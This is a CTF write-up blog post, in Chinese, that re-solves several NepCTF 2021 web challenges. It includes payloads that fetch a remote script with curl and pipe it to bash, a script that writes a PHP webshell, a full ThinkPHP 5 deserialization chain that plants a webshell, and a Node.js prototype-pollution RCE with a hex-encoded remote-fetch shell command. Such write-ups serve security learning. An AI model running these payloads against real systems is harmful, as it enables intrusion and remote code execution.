NepCTF 欢乐个人赛

·
CTFWP no tag March 24, 2021

前言

因为比赛那段时间在忙培训的事,没怎么看题,做了几个水题。正好WP出来了,环境也开着。就复现一下。学到的东西还是挺多的。记录一下

little trick

题目源码

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?>

这道题有多种解,我觉得都值得记录一下。

我的解法

?nep=`$_GET[1]`;;&len=-1&1=curl 47.97.123.81/1.txt|bash

substr在len为-1时,会截取出去最后一个字符的所有字符。于是绕过了8个字符的限制。

预期解法

先给出一个demo

<?php
$nep = "`$nep`;>cat";
`$nep`;
# PHP Notice:  Undefined variable:

这样子,会把$nep变量字符串当作命令来执行。所以可以执行>cat

?nep=`$nep`;ls>z&len=7    //将ls的内容写入到z文件中,然后可以通过url访问z
?nep=`$nep`;>cat&len=7    //写一个名为cat的空文件
?nep=`$nep`;*>z&len=7     
//通配符*,Linux会把第一个列出的文件当作命令,剩下的当作参数。此时再访问z就有flag了

另一种解法

网上可以搜到的一种解法。

# -*- coding: UTF-8 -*-
import requests
p = r'''>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0'''

url = "http://59064ae7-02cc-4cd4-ab36-ecbdf0b9cd3a.node1.hackingfor.fun/1b5337d0c8ad813197b506146d8d503d//?nep={}&len=-1"
print("[+]start attack!!!")

for i in p.split('\n'):
    print(i)
    payload = '`' + i.strip() + '`;;'
    print("[*]" + url.format(payload))
    requests.get(url.format(payload))

就得到了一个1.php的shell

<?php eval($_GET[1]);

bbxhh_revenge

做题的时候直接phpinfo梭出来了,来看看预期解

打开靶机,发现是个黑页,每个IP只能访问一次,之后就被ban了。需要不停的更换代理。预期解用的是腾讯云函数。因为实际意义不大就不复现了。直接采用换代理的方式。

后面传参数都没什么意思,主要看最后一步:

<?php
function waf($s)
{
    return preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i', "NepnEpneP", $s);
}


if (isset($_GET['a'])) {
    $_ = waf($_GET['a']);
    $__ = waf($_GET['b']);
    $a = new $_($__);
} else {
    $a = new Error('?');
}

if (isset($_GET['c']) && isset($_GET['d'])) {
    $c = waf($_GET['c']);
    $d = waf($_GET['d']);
    eval("\\$a->$c($d);");
} else {
    $c = "getMessage";
    $d = "";
    eval("echo \\$a->$c($d);");
}

预期解

考察了php的原生反射机制

https://www.php.net/manual/zh/book.reflection.php

使用 ReflectionFunction 类并调用其 invokeArgs 方法即可执行 php 函数

详细请看文档:

https://www.php.net/manual/zh/reflectionfunction.invokeargs.php

image.png

这样就执行了ReflectionFunction::invokeArgs。执行的方法为call_user_func

参数为array('assert','show_source('/flag')')

读取到了flag

payload

?a=ReflectionFunction&b=call_user_func&c=invokeArgs&d=array('assert','s'.'how_source(\'/f\'.\'lag\')')

总结

这里的assert不可被eval代替,其实eval并不是一个函数,而是一个语言构造器。不能被call_user_func调用

https://www.php.net/manual/zh/function.eval.php

assert在高版本的php已经失效。题目环境恰好为低版本

梦里花开牡丹亭

主要考察的是php原生类的利用

参考了https://threezh1.com/2019/10/04/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E4%B8%8E%E6%80%BB%E7%BB%93/#%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%BA%8F%E5%88%97%E5%8C%96-ZipArchive-open

调用ZipArchive::open函数,参数为ZIPARCHIVE::OVERWRITE,waf.txt就可以删除文件。

<?php
class Game
{
    public $username="admin";
    public $password="admin";
    public $choice;
    public $register;

    public $file;
    public $filename="waf.txt";
    public $content=ZipArchive::OVERWRITE;
    
    public function __construct($register)
    {
        $this->register=$register;
        $this->file=new ZipArchive();
    }
}
class login
{
    public $file;
    public $filename;
    public $content;

    public function __construct($file, $filename, $content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
}
class register
{
}
class Open
{
}
$a= new Game("admin");
echo serialize($a);
echo base64_encode(serialize($a));

然后就可以命令执行了

是长度小于10的命令执行

php /flag
n\l /flag

我当时用的是n\l /flag

<?php
class Game
{
    public $username="admin";
    public $password="admin";
    public $choice;
    public $register;

    public $file;
    public $filename="shell";
    public $content="n\l /flag";
    
    public function __construct($register)
    {
        $this->register=$register;
        $this->file=new Open();
    }
}
class login
{
    public $file;
    public $filename;
    public $content;

    public function __construct($file, $filename, $content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
}
class register
{
}
class Open
{
}
$a= new Game("admin");
echo base64_encode(serialize($a));

faka_revenge

tp5 rce+反序列化

通用的payload可以用

_method=__construct&filter[]=passthru&method=get&get[]=whoami

预期解用的是

_method=__construct&filter[]=unserialize&method=get&get[]=xxxxxx

先在本地搭一个,给了sql文件,导入到数据库,再改一下sql配置文件就可以了application/database.php

试了很久,最后发现只有官方wp那个链子,以及RCE姿势能打通,其他情况都不行。

再跟一边TP5太耗费时间了,贴两个官方payload吧。

官方EXP

<?php

namespace think\cache\driver; #File
class File
{
    protected $options = [];
    protected $tag;
    function __construct()
    {
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            // 'path'          => './static/runtime/',
            'path'          => './static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/',
            // 'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=./static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php',
            //  这里注意runtime后面加一个/才表示目录,创建目录
            'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\session\driver; #Memcached
use think\cache\driver\File;
class Memcached
{
    protected $handler = null;
    function __construct()
    {
        $this->handler = new File(); //目的调用File->set()
    }
}

namespace think\model\relation;
class HasOne
{
    protected $bindAttr = [];
    protected $model = [];
    function __construct()
    {
        $this->bindAttr = ["no", "123"];
        $this->model = 'think\console\Output';
    }
}

namespace think\console; #Output
use think\session\driver\Memcached;
class Output
{
    private $handle = null;
    protected $styles = [];
    function __construct()
    {
        $this->handle = new Memcached(); //目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think\db;#Query
use think\console\Output;
class Query{
  protected $model;
  function __construct(){
    $this->model = new Output();
  }
}

namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model
{
    protected $append = [];
    protected $error;
    public $parent; #修改处
    protected $selfRelation;
    protected $query;
    function __construct()
    {
        $this->parent = new Output(); #Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne(); //Relation子类,且有getBindAttr()
        $this->selfRelation = false; //isSelfRelation()
        $this->query = new Query();
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
    # Model是抽象类,不能实例化,只能通过子类Pivot来继承。
}

namespace think\process\pipes;
use think\Model\Pivot;
class Windows
{
    function __construct()
    {
        $this->files = [new Pivot()];
    }
}
$a = new Windows();
echo urlencode(serialize($a));

官方py脚本

#coding:utf-8
import requests
from urllib.parse import unquote,quote
proxies = {
    'http' : '127.0.0.1:8080'
}
def mkdir1(url):
    payload1 = 'O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D'
    payload2 = '_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
    res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
    res2 = requests.get(url + '/static/runtime/',cookies = cookies,headers = headers)
    if(res2.status_code == 403):
        print('[+]  ./static/runtime目录创建成功')

def mkdir2(url):
    payload1 = "O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D"
    payload2 = '_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
    res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
    res2 = requests.get(url + '/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/',cookies = cookies,headers = headers)
    if(res2.status_code == 403):
        print('[+]  ./static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/目录创建成功')

def getshell(url):
    payload1 = 'O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D'
    payload2 = '_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
    res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
    res2 = requests.get(url + '/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php',cookies = cookies,headers = headers)
    if(res2.status_code == 200):
        print('[+]  shell写入成功')
        print('[+]  shell地址为:http://ip/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php')

if __name__ == '__main__':
    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded'
    }
    cookies = {
        'freeze_money_tip' : '1',
        's7466e88d' : 'enkfhrvocvpqhdj7q68ipg17c5'
    }
    url = 'http://7f7c1174-5fbb-4476-9e3d-b42bd8069bb6.node5.hackingfor.fun/'
    # shell密码:ccc
    mkdir1(url)
    mkdir2(url)
    getshell(url)

https://www.zhihuifly.com/t/topic/3175

Easy_Tomcat

这个题,前几天VNCTF考过。。fastjson的洞

注册的时候可以选择头像

图片.png

这里有两个waf

第一必须以static/img开头,第二只能两层目录穿越。

这样可以读到web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>LoginServlet</servlet-name>
        <servlet-class>javademo.LoginServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>RegisterServlet</servlet-name>
        <servlet-class>javademo.RegisterServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>AdminServlet</servlet-name>
        <servlet-class>javademo.AdminServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>InitServlet</servlet-name>
        <servlet-class>javademo.InitServlet</servlet-class>
        <load-on-startup>1</load-on-startup>

    </servlet>
    <servlet-mapping>
        <servlet-name>LoginServlet</servlet-name>
        <url-pattern>/LoginServlet</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>RegisterServlet</servlet-name>
        <url-pattern>/RegisterServlet</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>AdminServlet</servlet-name>
        <url-pattern>/AdminServlet</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>InitServlet</servlet-name>
        <url-pattern>/InitServlet</url-pattern>
    </servlet-mapping>
</web-app>

可以读到一些Servlet

接着就是读这些Servlet

写过jsp的人都知道class文件存在哪里

根据这一段

    <servlet>
        <servlet-name>InitServlet</servlet-name>
        <servlet-class>javademo.InitServlet</servlet-class>
        <load-on-startup>1</load-on-startup>

    </servlet>

static/img/../../WEB-INF/classes/javademo/InitServlet.class

反编译一下得到InitServlet.java

package javademo;

import java.util.ArrayList;
import javademo.User;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;

public class InitServlet extends HttpServlet {

   public void init() throws ServletException {
      ArrayList list = new ArrayList();
      User admin_user = new User();
      admin_user.setUsername("admin");
      admin_user.setPassword("no_one_knows_my_password_75767388428345");
      list.add(admin_user);
      this.getServletContext().setAttribute("list", list);
   }
}

得到账号密码。

进去之后删除时抓个包,发现是json格式的数据

admin_action={"username":"1","action":"delete"}

于是想到前几天VNCTF做过的fastjson漏洞。

一模一样的步骤和方法就能打出来,详细请看

http://www.yang99.top/index.php/archives/40/#realezjvav

gamejs

前端是一个游戏,查看源代码之后有源码

var opn = require('opn');
var express = require('express');
var app = express();
var path = require('path');
var bodyParser = require('body-parser');
var highestScore = 40000;
var FUNCFLAG = '_$$ND_FUNC$$_';
var serialize_banner = '{"banner":"好,很有精神!"}';
var flag = {"flag":""} // flag是啥来着?记不清了。

function Record() {
    this.lastScore = 0;
    this.maxScore = 0;
    this.lastTime = null;
}
var validCode = function (func_code){
    let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
    return !validInput.test(func_code);
};
var validInput = function (input) {
    let validInput = /subprocess|mainModule|from|process|child_process|main|require|exec|this|function|buffer/ig;
    ins = serialize(input);
    return !validInput.test(ins);
};
var merge = function (target, source) {
    try {
        for (let key in source) {
            if (typeof source[key] == 'object') {
                merge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
    catch (e) {
        console.log(e);
    }
};
var serialize = function (obj, ignoreNativeFunc, outputObj, cache, path) {
    path = path || '$';
    cache = cache || {};
    cache[path] = obj;
    outputObj = outputObj || {};
    if (typeof obj === 'string') {
      return JSON.stringify(obj);
    }
    var key;
    for (key in obj) {
      if (obj.hasOwnProperty(key)) {
        if (typeof obj[key] === 'function') {
          var funcStr = obj[key].toString();
          outputObj[key] = FUNCFLAG + funcStr;
        } else {
          outputObj[key] = obj[key];
        }
      }
    }
    return JSON.stringify(outputObj);
};
var unserialize = function(obj) {
    obj = JSON.parse(obj);
    if (typeof obj === 'string') {
      return obj;
    }
    var key;
    for(key in obj) {
      if(typeof obj[key] === 'string') {
        if(obj[key].indexOf(FUNCFLAG) === 0) {
          var func_code=obj[key].substring(FUNCFLAG.length);
          if (validCode(func_code)){
            var d = '(' + func_code + ')';
            obj[key] = eval(d);
          }
        }
      }
    }
    return obj;
};
app.use(bodyParser());
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'views')));

app.use(function (req, res, next) {
    if (validInput(req.body)) {
        next();
    } else {
        res.status(403).send('Hacker!!!');
    }
});
async function index(req, res) {
    res.sendFile(path.resolve(__dirname, 'static/index.html'));
}
async function record(req, res, next) {
    new Promise(function (resolve, reject) {
        var record = new Record();
        var score = req.body.score;
        if (score.length < String(highestScore).length) {
            merge(record, {
                lastScore: score,
                maxScore: Math.max(parseInt(score),record.maxScore),
                lastTime: new Date().toString()
            });
            highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);
            if ((score - highestScore) < 0) {
                var banner = "不好,没有精神!";
            } else {
                var banner = unserialize(serialize_banner).banner;
            }
        }
        res.json({
            banner: banner,
            record: record
        });
    }).catch(function (err) {
        next(err)
    })
}

app.post('/record', record);
app.get('/', index);
app.get('/source', function (req, res) {
    opn('app.js').then(() => {
        res.sendFile(path.join(__dirname, 'app.js'));
    });
})
app.use(function (err, req, res, next) {
    console.log(err.stack);
    res.status(500).send('Some thing broke!')
});
app.listen('3000');

简单审计发现了比较关键的merge函数unserialize函数。就比较明确了

首先第一层if判断score.length < String(highestScore).length)

关于length的trick,这个是可以直接绕的

{"score":{"length":1}}

第二层ifif ((score - highestScore) < 0)

测试一下发现对象减去数组为nan

nan是小于0的

console.log({"score":{"length":1}}-400)
console.log({"score":{"length":1}}-400<0)
NaN  
false

绕过去之后发现

var banner = unserialize(serialize_banner).banner;

这里serialize_banner是固定的。尝试污染。

在序列化之前有一个merge函数。

用这个payload可以污染

{"score": {"__proto__":{"__proto__":{"asd":"1"}},"length":1}}

污染两次的原因是record.__proto__并不是object,record.__proto__.__proto__才是。

record.__proto__其实也是指向Record.prototype

图片.png

防止忘记,来点demo

function Record() {
  this.lastScore = 0;
  this.maxScore = 0;
  this.lastTime = null;
}
var record = new Record();
console.log(record.__proto__)
console.log(record.__proto__.__proto__)
console.log(record.constructor)
console.log(record.constructor.constructor)
console.log(record.constructor.constructor())
console.log(Record)
console.log(Record.prototype)

输出

Record {}
{}
[Function: Record]
[Function: Function]
[Function: anonymous]
[Function: Record]
Record {}

图片.png

打进去发现原型链已经被污染。

这样就可以过第三个if了if(obj[key].indexOf(FUNCFLAG) === 0)

进入eval函数

这里因为没有过滤反斜杠,于是十六进制就随便绕了

demo

eval('\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x72\x65\x71\x75\x69\x72\x65\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x61\x6c\x63\x22\x29')

payload

{"score": {"__proto__":{"__proto__":{"asd":"_$$ND_FUNC$$_``.constructor.constructor(`\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x2e\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\\x2e\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x28\\x22\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x22\\x29\\x2e\\x65\\x78\\x65\\x63\\x53\\x79\\x6e\\x63\\x28\\x22\\x63\\x61\\x6c\\x63\\x22\\x29`)()"}},"length":1}}

VM中

(``.constructor.constructor(`\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x72\x65\x71\x75\x69\x72\x65\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x61\x6c\x63\x22\x29`)())
(function anonymous(
) {
process.mainModule.require("child_process").execSync("calc")
})

本地调试弹出了计算器。成功RCE

远程弹shell,calc换成弹shell命令。

{"score": {"__proto__":{"__proto__":{"asd":"_$$ND_FUNC$$_``.constructor.constructor(`\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x2e\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\\x2e\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x28\\x22\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x22\\x29\\x2e\\x65\\x78\\x65\\x63\\x53\\x79\\x6e\\x63\\x28\\x22\\x63\\x75\\x72\\x6c\\x20\\x34\\x37\\x2e\\x39\\x37\\x2e\\x31\\x32\\x33\\x2e\\x38\\x31\\x2f\\x31\\x2e\\x74\\x78\\x74\\x7c\\x62\\x61\\x73\\x68\\x22\\x29`)()"}},"length":1}}

image.png

成功getshell

  • *CTF oh-my-bet复现
  • Javaweb 的一些题目复现
取消回复

说点什么?
Title
我的解法
预期解法
另一种解法
预期解
总结

© 2023 Yang_99的小窝. Using Typecho & Moricolor.